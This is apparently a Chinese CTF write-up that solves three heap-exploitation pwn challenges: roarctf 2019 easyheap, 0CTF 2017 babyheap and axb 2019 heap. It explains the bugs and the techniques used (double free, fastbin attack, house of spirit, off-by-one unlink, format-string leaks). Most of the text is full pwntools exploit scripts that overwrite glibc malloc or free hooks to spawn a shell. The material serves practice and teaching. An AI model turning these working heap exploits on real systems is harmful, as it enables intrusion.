roarctf 2019 easyheap
这道题涉及的利用的技巧主要是house of spirit和文件描述符重定向
house of spirit
hos利用场景是可写区域-不可写区域-可写区域
,这时可以利用堆中的漏洞进行hos而使中间的不可写区域变得可写。方法是通过伪造堆块使其加入bins中
文件描述符重定向
题目在后半部分关闭stdout和stderr,具体参考Linux反弹shell(一)文件描述符与重定向
题解
除了PIE,其他保护全开。功能如下:
- add:可以malloc申请不超过0x80的堆块
- dele:free之后未清零,可以造成double free
- show:需要中间
不可写区域
为特定值,使用后关闭stdout和stderr
- secret:当功能号为666时,可以使用。可以calloc(0xA0)和free,也是没有清零。可以多次使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| unsigned __int64 secret() { int v0; __int64 v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); if ( !qword_602010 ) { puts("everything has a price"); goto LABEL_7; } puts("build or free?"); if ( (signed int)read(0, &v2, 8uLL) < 0 ) { LABEL_10: puts("read error"); exit(0); } v0 = strtol((const char *)&v2, 0LL, 10); if ( v0 == 1 ) { ptr = calloc(0xA0uLL, 1uLL); puts("please input your content"); if ( (signed int)read(0, ptr, 0xA0uLL) >= 0 ) goto LABEL_7; goto LABEL_10; } if ( v0 == 2 ) free(ptr); else puts("invaild choice"); LABEL_7: --qword_602010; return __readfsqword(0x28u) ^ v3; }
|
首先是输入name和info,即两处可写区域
1 2 3 4 5
| .bss:0000000000602060 unk_602060 #name,大小0x20 .bss:0000000000602088 buf .bss:0000000000602090 qword_602090 #需要为0xdeadbeefdeadbeef才能show .bss:0000000000602098 ; void *ptr .bss:00000000006020A0 unk_6020A0 #info,大小0x20
|
思路如下:
在name和info处伪造好堆块
1 2 3
| pay = p64(0) + p64(0x51) sl("name:",pay) sl("info",p64(0)*3+p64(0x51))
|
利用double free造成fastbin attack将bss加入fastbinzhong
1 2 3 4 5 6 7 8 9 10 11 12 13
| secret(1) add(0x40,'aaa') secret(2) add(0x40,'aaa') add(0x50,'aaa') add(0x40,'aaa') dele() secret(2) dele() add(0x40,p64(0x602060)) add(0x40,'aaa') add(0x40,'aaa') add(0x40,p64(0)*3+p64(elf.got['exit'])+p64(0xdeadbeefdeadbeef))
|
泄露libc,因为got表不可写,因此需要再次利用fastbin attack劫持malloc
1 2 3 4 5 6 7 8
| dele2() p.sendline("666") p.sendline("2") dele2() add2(0x68,p64(malloc_hook-0x23)) add2(0x68,'bbb') add2(0x68,'bbb') add2(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc+0x14))
|
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import *
context.terminal = ['tmux','split','-h']
p = process("./roarctf_2019_easyheap")
elf = ELF("./roarctf_2019_easyheap") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sl = lambda x,y: p.sendlineafter(x,y) s = lambda x,y: p.sendafter(x,y)
def add(size,cnt): sl(">> ","1") sl("size",str(size)) s("content",cnt)
def add2(size,cnt): p.sendline("1") p.sendline(str(size)) p.sendline(cnt)
def dele(): sl(">> ","2")
def dele2(): p.sendline("2")
def show(): sl(">> ","3")
def secret(i): sl(">> ","666") sl("?",str(i)) if i==1: sl("content","kangel")
def gd(): gdb.attach(p)
pay = p64(0) + p64(0x51) sl("name:",pay) sl("info",p64(0)*3+p64(0x51))
secret(1) add(0x40,'aaa') secret(2) add(0x40,'aaa') add(0x50,'aaa') add(0x40,'aaa') dele() secret(2) dele() add(0x40,p64(0x602060)) add(0x40,'aaa') add(0x40,'aaa') add(0x40,p64(0)*3+p64(elf.got['exit'])+p64(0xdeadbeefdeadbeef)) show() libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['exit'] malloc_hook = libc.sym['__malloc_hook'] + libc_base realloc = libc.sym['realloc'] + libc_base one = libc_base +0xf1147
print hex(libc_base) p.sendline("666") p.sendline("666") p.sendline("1") p.sendline("aaa") add2(0x68,'bbb') p.sendline("666") p.sendline("2") add2(0x68,'bbb') add2(0x68,'bbb') dele2() p.sendline("666") p.sendline("2") dele2() add2(0x68,p64(malloc_hook-0x23)) add2(0x68,'bbb') add2(0x68,'bbb') add2(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc+0x14))
add2(0x68,'exec 1>&0') p.interactive()
|
0CTF 2017 babyheap
edit处存在堆溢出,因此可以overlapping打fastbin attack。add使用的是calloc,可以改写ismmap标志位从而泄露libc
mmap的calloc分配不会memset
具体方法如下:
- 申请largebin大小(0x500)的堆块并free,这时进入unsorted bin。
- 利用堆溢出是
ismmap = 1
- 申请更大(0x600)的堆块,unsorted bin中的堆块进入largebin
- 重新calloc申请(0x500),不会memset
1 2 3 4 5 6 7
| add(0x500) add(0x68) delete(5) add(0x600) edit(3,0x70,0x68*'b'+p64(0x513)) add(0x500) show(7)
|
之后是常规的overlapping打fastbin attack,然后劫持malloc_hook。
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import *
context.log_level = 'debug' context.terminal = ['tmux','split','-h']
p = process("./0ctf_2017_babyheap")
elf = ELF("./0ctf_2017_babyheap") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sl = lambda x,y: p.sendlineafter(x,y) s = lambda x,y: p.sendafter(x,y)
def add(size): sl("Command:","1") sl("Size:",str(size))
def edit(idx,size,cnt): sl("Command:","2") sl("Index:",str(idx)) sl("Size:",str(size)) s("Content:",cnt)
def delete(idx): sl("Command:","3") sl("Index:",str(idx))
def show(idx): sl("Command:","4") sl("Index:",str(idx))
def gd(): gdb.attach(p)
add(0x68) add(0x68) add(0x68) add(0x68) edit(0,0x70,'a'*0x68+p64(0xe1)) delete(1) add(0x68) add(0x68) edit(4,3,"123") add(0x500) add(0x68) delete(5) add(0x600) edit(3,0x70,0x68*'b'+p64(0x513)) add(0x500) show(7) p.recvuntil("Content: \n") libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4fa8 print hex(libc_base) malloc_hook = libc.sym['__malloc_hook'] + libc_base realloc = libc.sym['realloc'] + libc_base one = libc_base +0xf1147
delete(2) delete(0) delete(4) add(0x68) add(0x68) edit(0,8,p64(malloc_hook-0x23)) add(0x68) add(0x68) edit(8,0x1b,'\x00'*3+p64(0)+p64(one)+p64(realloc+4)) add(0x10) p.interactive()
|
axb 2019 heap
格式化字符串泄露程序基址和libc基址,off by one打unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import *
context.log_level = 'debug' context.terminal = ['tmux','split','-h']
p = remote("node3.buuoj.cn",25965) elf = ELF("./axb_2019_heap") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
s = lambda x,y: p.sendafter(x,y) sl = lambda x,y: p.sendlineafter(x,y)
def add(idx,size,content): sl(">> ","1") sl("10):",str(idx)) sl("size:",str(size)) sl("content:",content)
def delete(idx): sl(">> ","2") sl("index:",str(idx))
def edit(idx,content): sl(">> ","4") sl("index:",str(idx)) sl("content:",content)
def gd(): gdb.attach(p)
sl("name:","%14$p%15$p") p.recvuntil("0x") elf_base = int(p.recv(12),16) - 0x1200 p.recvuntil("0x") libc_base = int(p.recv(12),16) - 0x20830 log.success("elf_base:"+hex(elf_base)) log.success("libc_base:"+hex(libc_base))
add(0,0x98,'a'*0x98) add(1,0x98,'a'*0x98) add(2,0x90,'/bin/sh\x00') payload = p64(0)+p64(0x91)+p64(elf_base+0x202048)+p64(elf_base+0x202050)+p64(0)*14+p64(0x90)+p8(0xa0) edit(0,payload) delete(1) payload = p64(0)*3 + p64(libc_base+libc.sym['__free_hook'])+p64(0x90) edit(0,payload) edit(0,p64(libc_base+libc.sym['system'])) delete(2) p.interactive()
|